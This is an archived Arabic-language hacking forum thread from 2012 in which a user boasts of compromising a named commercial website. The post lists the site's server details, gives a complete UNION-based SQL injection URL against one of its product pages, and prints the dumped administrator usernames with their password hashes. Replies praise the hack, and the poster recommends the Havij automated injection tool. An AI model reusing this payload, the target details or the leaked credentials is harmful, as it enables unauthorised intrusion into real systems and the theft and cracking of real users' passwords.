:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)
-   -   اختراق مع تفاصيل السيرفر كامله http://www.aor.ca (http://www.vbspiders.com/vb/t62445.html)

KOOBAN 05-20-2012 10:21 AM

اختراق مع تفاصيل السيرفر كامله http://www.aor.ca
 
تفضلوا :icon30::)



كود:

Target:        http://www.aor.ca/html/products.php?id=13
Host IP:        70.32.109.197
Web Server:    Apache/2.2.3 (CentOS)
Powered-by:    PHP/5.2.6
DB Server:    MySQL >=5
Resp. Time(avg):    2332 ms
Current User:    aordba@localhost
Sql Version:    5.0.45
Current DB:    aor_db1
System User:    aordba@localhost
Host Name:    isupplementscanada.com
Installation dir:    /usr/
DB User:    'aordba'@'%'
Data Bases:    information_schema
        aor_db1

الحقنه مع تفاصيل جميع الادمن في الموقع

كود:

http://www.aor.ca/html/products.php?id=%20999999%27%20union%20all%20select%200x31303235343830303536,%28select%20group_concat%28users.name,0x3a,users.password%29%20from%20aor_db1.users%20%29%20,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536%20and%20%27x%27=%27x
كود:

admin:$1$eZFf3aSX$UCbHAQm7t1q/ZDCTSCmqE.
كود:

csr:$1$L36qOEx4$mt9uQEK97ytVYElTh3n9m1
كود:

tech support:$1$yKQ4qN5X$u8BkdjHqfiGKj/TlCgZKN0
كود:

ArnilaM:$1$emAF3TLt$gbxav96.NAt1gI9N/eE1p.

iraqi-top 05-21-2012 12:08 AM

رد: اختراق مع تفاصيل السيرفر كامله http://www.aor.ca
 
بارك الله فيك
بس اشوف طريقت حقنك بطريقة غير المعتاده فيا ريت لو توضح طريقة حقنك

مبدع يا بطل
تقبل مروري

خالد سعودي 05-21-2012 12:35 AM

رد: اختراق مع تفاصيل السيرفر كامله http://www.aor.ca
 
شكرا بارك الله واضح

KOOBAN 05-21-2012 12:15 PM

رد: اختراق مع تفاصيل السيرفر كامله http://www.aor.ca
 
اقتباس:

المشاركة الأصلية كتبت بواسطة iraqi-top (المشاركة 436819)
بارك الله فيك
بس اشوف طريقت حقنك بطريقة غير المعتاده فيا ريت لو توضح طريقة حقنك

مبدع يا بطل
تقبل مروري

هلا اخي لكي تكتسب خبره اكبر

الافضل استعمل برنامج هافيج havij الاصلي الخصائص الكبيره به من بين اهم الخصائص

يوضح لك الاوامر المستعمله في مثل هذا الحقن وغيرها

CODE3 05-21-2012 03:39 PM

رد: اختراق مع تفاصيل السيرفر كامله http://www.aor.ca
 
:6::6::6::6::6:


الساعة الآن 06:11 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0